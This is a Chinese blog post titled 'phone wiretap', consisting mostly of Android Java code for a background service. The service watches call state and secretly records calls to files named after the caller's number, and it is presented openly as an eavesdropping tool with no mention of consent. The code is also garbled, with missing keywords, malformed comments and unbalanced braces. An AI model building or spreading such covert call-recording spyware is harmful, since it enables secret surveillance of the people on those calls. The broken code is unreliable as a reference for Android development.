电话窃听器

import java.io.IOException;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class RecordService extends Service{@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Overridepublic void onCreate() {super.onCreate();//创建一个电话管理器对象TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);/创建电话状态的一个监听器MyPhoneStateListener listener = new MyPhoneStateListener();//调用电话管理器的listen方法注册监听//参数:1.监听器,2.要监听打电话的状态manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneStateListener extends PhoneStateListener{private MediaRecorder recorder;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {switch (state) {case TelephonyManager.CALL_STATE_IDLE:Log.e("TAG", "空闲状态"+"录音结束");(recorder != null) {try {recorder.stop();//停止录音} catch (Exception e) {e.printStackTrace();finally{recorder.reset();   //重置recorder.release(); //释放}}break;case TelephonyManager.CALL_STATE_RINGING:Log.e("TAG","响铃"+incomingNumber+",准备一个录音机");recorder = new MediaRecorder();//设置音频的输入源  MIC只能录自己的声音 ;VOICE_CALL可以录双方的声音recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置音频输出的格式.3gp(体积小 ,效果差 ,压缩狠)recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置音频的编码,AMR是早期彩屏彩铃手机上使用的音频格式,一般用做手机铃声//NB(窄带)   WB(宽带)recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置输入之后文件保存的路径recorder.setOutputFile(getCacheDir()+"/"+incomingNumber+".3gp");//录音机开始准备{recorder.prepare();} catch (IllegalStateException e) {/ TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}break;case TelephonyManager.CALL_STATE_OFFHOOK:Log.e("TAG","接电话了"+incomingNumber + ",开始录音");recorder.start();   // 开始录音default:break;}super.onCallStateChanged(state, incomingNumber);}}}

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 173,136评论 25 708
  • 研究录音是源于即时通讯的项目。写出一个即时通讯很简单,但是写好一个即时通讯就不是一件容易的事,比如聊天中语音的加入...
    2c2z0阅读 2,384评论 0 2
  • 这半年老公爱上了养鱼,没事逛贴吧的时候看到别人拍的视频,啧啧称赞鱼儿的时候还不忘称赞下视频的配乐,就这样听起了好妹...
    立夏时节阅读 1,101评论 3 4
  • 背景 想要给iOS用户推送一些信息,又不想使用极光啊,友盟之类的第三方推送SDK,毕竟是只针对iOS用户的,并且用...
    ChaosTong阅读 2,386评论 0 0
  • 文/千年一眼 今天上午的第二、第三节是初三的作文课,孩子们的写作准备比较充分,提早十来分钟完成了堂上现场作文,于是...
    千年一眼阅读 501评论 2 2